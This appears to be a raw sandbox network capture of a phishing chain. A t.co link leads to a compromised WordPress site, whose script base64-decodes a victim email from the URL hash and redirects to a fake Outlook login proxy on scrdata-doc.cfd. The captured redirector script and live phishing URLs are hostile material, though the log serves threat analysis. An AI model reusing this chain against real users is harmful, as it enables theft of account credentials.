href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime, solvin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49718	104.244.42.133	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:02 UTC	657	OUT	GET /RieqFTtqmt HTTP/1.1 Host: t.co Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:37:02 UTC	766	IN	HTTP/1.1 200 OK date: Fri, 26 Apr 2024 12:37:01 GMT perf: 7402827104 vary: Origin server: tsa_b expires: Fri, 26 Apr 2024 12:42:02 GMT set-cookie: muc=24fc3061-1385-451a-beaa-355eebb5b4cd; Max-Age=63072000; Expires=Sun, 26 Apr 2026 12:37:02 GMT; Domain=t.co; Secure; SameSite=None set-cookie: muc_ads=24fc3061-1385-451a-beaa-355eebb5b4cd; Max-Age=63072000; Expires=Sun, 26 Apr 2026 12:37:02 GMT; Path=/; Domain=t.co; Secure; SameSite=None content-type: text/html; charset=utf-8 cache-control: private,max-age=300 content-length: 364 x-transaction-id: 76d7a59caa81b36b x-xss-protection: 0 strict-transport-security: max-age=0 x-response-time: 90 x-connection-hash: c9d908b8dd6dfa435a26bf894681745ccbd5bd5224049b7b6338a17d9f8d6c78 connection: close
2024-04-26 12:37:02 UTC	364	IN	Data Raw: 3c 68 65 61 64 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 4d 45 54 41 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 55 52 4c 3d 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 70 72 6f 66 69 73 73 69 6f 6e 61 6c 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 4f 78 5a 55 30 65 38 66 47 54 48 74 37 4e 54 66 72 61 66 71 2f 22 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 70 72 6f 66 69 73 73 69 6f 6e 61 6c 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 4f 78 5a 55 30 65 38 66 47 54 48 74 37 4e 54 66 72 61 66 71 2f 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 70 65 6e 65 72 20 3d 20 Data Ascii: <head><noscript><META http-equiv="refresh" content="0;URL=https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/"></noscript><title>https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/</title></head><script>window.opener =

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	31.170.163.25	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:03 UTC	713	OUT	GET /wp-content/OxZU0e8fGTHt7NTfrafq/ HTTP/1.1 Host: wordpressprofissional.com.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://t.co/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:37:03 UTC	231	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:03 GMT Content-Length: 1371 Connection: close Cache-Control: no-cache, no-store, must-revalidate, max-age=0 Cache-Control: no-store, max-age=0 Server: imunify360-webshield/1.21
2024-04-26 12:37:03 UTC	1371	IN	Data Raw: 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4f 6e 65 20 6d 6f 6d 65 6e 74 2c 20 70 6c 65 61 73 65 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 36 46 37 46 38 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 30 33 31 33 31 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 Data Ascii: <!doctype html><html lang="en"><head> <meta charset="utf-8"> <meta name="robots" content="noindex, nofollow"> <title>One moment, please...</title> <style> body { background: #F6F7F8; color: #303131; font-fami

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	31.170.163.25	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:10 UTC	796	OUT	GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=20948110 HTTP/1.1 Host: wordpressprofissional.com.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:37:10 UTC	482	IN	HTTP/1.1 302 Moved Temporarily Date: Fri, 26 Apr 2024 12:37:10 GMT Content-Length: 0 Connection: close X-Forwarded-For: 102.129.152.220 X-Real-IP: 102.129.152.220 X-Remote-IP: 102.129.152.220 Location: https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/ Set-Cookie: wssplashuid=6659db0178d4daefcbafa233ed51839a618c3066.1714138630.1; Path=/; Domain=wordpressprofissional.com.br; Max-Age=2592000; HttpOnly; SameSite=Lax Server: imunify360-webshield/1.21

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	31.170.163.25	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:10 UTC	845	OUT	GET /wp-content/OxZU0e8fGTHt7NTfrafq/ HTTP/1.1 Host: wordpressprofissional.com.br Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wssplashuid=6659db0178d4daefcbafa233ed51839a618c3066.1714138630.1
2024-04-26 12:37:11 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 214 Connection: close x-powered-by: PHP/8.2.13 strict-transport-security: max-age=31536000; includeSubDomains; preload x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" x-turbo-charged-by: LiteSpeed Server: imunify360-webshield/1.21
2024-04-26 12:37:11 UTC	214	IN	Data Raw: 3c 73 63 72 69 70 74 3e 20 0a 20 0a 76 61 72 20 65 6d 61 69 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 73 75 62 73 74 72 28 31 29 3b 76 61 72 20 64 65 63 6f 64 65 64 53 74 72 69 6e 67 20 3d 20 61 74 6f 62 28 65 6d 61 69 6c 29 3b 20 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 27 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 2d 64 6f 63 2e 6f 6e 6c 69 6e 65 2f 3f 68 6a 68 6d 78 62 6f 72 26 71 72 63 3d 27 20 2b 20 64 65 63 6f 64 65 64 53 74 72 69 6e 67 3b 20 7d 29 3b 20 0a 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script> var email = window.location.hash.substr(1);var decodedString = atob(email); window.setTimeout(function() {window.location.href = 'https://secur-doc.online/?hjhmxbor&qrc=' + decodedString; }); </script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49726	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:12 UTC	707	OUT	GET /?hjhmxbor&qrc= HTTP/1.1 Host: secur-doc.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:37:13 UTC	606	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=CwsWzkwgapYf; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; path=/; samesite=none; secure; httponly location: https://6knvejjuzh3.scrdata-doc.cfd?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovLzZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6IjZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IkN3c1d6a3dnYXBZZiIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTM1MDMzLCJleHAiOjE3MTQxMzUxNTN9.qcOufJnjfVRYE2Tpi0m8JV6q2CnOoq4QI4Gicn0DQ-g Date: Fri, 26 Apr 2024 12:37:13 GMT Connection: close Transfer-Encoding: chunked
2024-04-26 12:37:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49733	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:15 UTC	994	OUT	GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovLzZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6IjZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IkN3c1d6a3dnYXBZZiIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTM1MDMzLCJleHAiOjE3MTQxMzUxNTN9.qcOufJnjfVRYE2Tpi0m8JV6q2CnOoq4QI4Gicn0DQ-g HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 12:37:15 UTC	282	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=CwsWzkwgapYf; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; path=/; samesite=none; secure; httponly location: / Date: Fri, 26 Apr 2024 12:37:15 GMT Connection: close Transfer-Encoding: chunked
2024-04-26 12:37:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49736	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:15 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1714135000037&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-04-26 12:37:15 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-04-26 12:37:15 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-04-26 12:37:16 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: DF198BD525EB4C709722778D447B92BE Ref B: LAX311000114047 Ref C: 2024-04-26T12:37:15Z Date: Fri, 26 Apr 2024 12:37:15 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1714135035.110e98fd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49737	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:16 UTC	769	OUT	GET / HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4
2024-04-26 12:37:16 UTC	1171	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://6knvejjuzh3.scrdata-doc.cfd/owa/ Server: Microsoft-IIS/10.0 request-id: af1fa6f2-8542-5007-0c5b-740b410fa89c Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: AM0PR04CA0067, AM0PR04CA0067 X-RequestId: 4f653abe-ab2b-4cdc-ae77-f8926e40df03 X-FEProxyInfo: AM0PR04CA0067.EURPRD04.PROD.OUTLOOK.COM X-FEEFZInfo: AMS MS-CV: 8qYfr0KFB1AMW3QLQQ+onA.0 X-Powered-By: ASP.NET Date: Fri, 26 Apr 2024 12:37:15 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49738	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:18 UTC	773	OUT	GET /owa/ HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4
2024-04-26 12:37:19 UTC	7260	IN	HTTP/1.1 302 Found content-length: 1302 Content-Type: text/html; charset=utf-8 Location: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw== Server: Microsoft-IIS/10.0 request-id: 32a1dd9c-3d2f-cc6a-4e7c-59a35dbc1e95 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: PR1P264CU007.internal.outlook.com X-BackEndHttpStatus: 302, 302 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; expires=Sat, 26-Apr-2025 12:37:18 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; expires=Sat, 26-Apr-2025 12:37:18 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Sat, 26-Oct-2024 12:37:18 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; expires=Fri, 26-Apr-2024 13:37:18 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; expires=Sat, 26-Apr-2025 12:37:18 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Sat, 26-Oct-2024 12:37:18 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Tue, 26-Apr-1994 12:37:18 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=6knvejjuzh3.scrdata-doc.cfd; expires=Tue, 26-Apr-1994 